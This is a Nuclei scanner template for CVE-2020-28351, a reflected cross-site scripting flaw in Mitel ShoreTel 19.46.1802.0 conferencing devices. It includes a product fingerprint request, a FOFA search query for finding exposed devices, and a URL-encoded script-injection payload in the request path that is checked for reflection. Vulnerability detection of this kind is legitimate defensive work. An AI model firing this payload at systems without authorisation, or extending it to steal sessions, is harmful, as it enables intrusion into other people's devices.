Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting

id: CVE-2020-28351

info:
  name: Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATH_INFO variable to index.php due to insufficient validation for the time_zone object in the HOME_MEETING& page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Mitel to mitigate the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html
    - https://www.mitel.com/articles/what-happened-shoretel-products
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28351
    - http://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html
    - https://github.com/dievus/cve-2020-28351
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-28351
    cwe-id: CWE-79
    epss-score: 0.15987
    epss-percentile: 0.96508
    cpe: cpe:2.3:h:mitel:shoretel:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mitel
    product: shoretel
    fofa-query: body="ShoreTel" && icon_hash="268280373"
  tags: cve,cve2020,shoretel,xss,mitel,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/server-common/cgi-bin/login"

    stop-at-first-match: true
    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "Mitel Networks Corporation"
          - "ShoreTel"
        case-insensitive: true
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/index.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E?page=HOME"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100913c1fa47b073efaf10e5f658bc994cb46b6526ee7e1274f2968bd31bfb6c9ad022002d50ec6f5a92f82225dcf7aee13ed332e8e055a58a4f629eafec83308bd1996:922c64590222798bb761d5b6d8e72950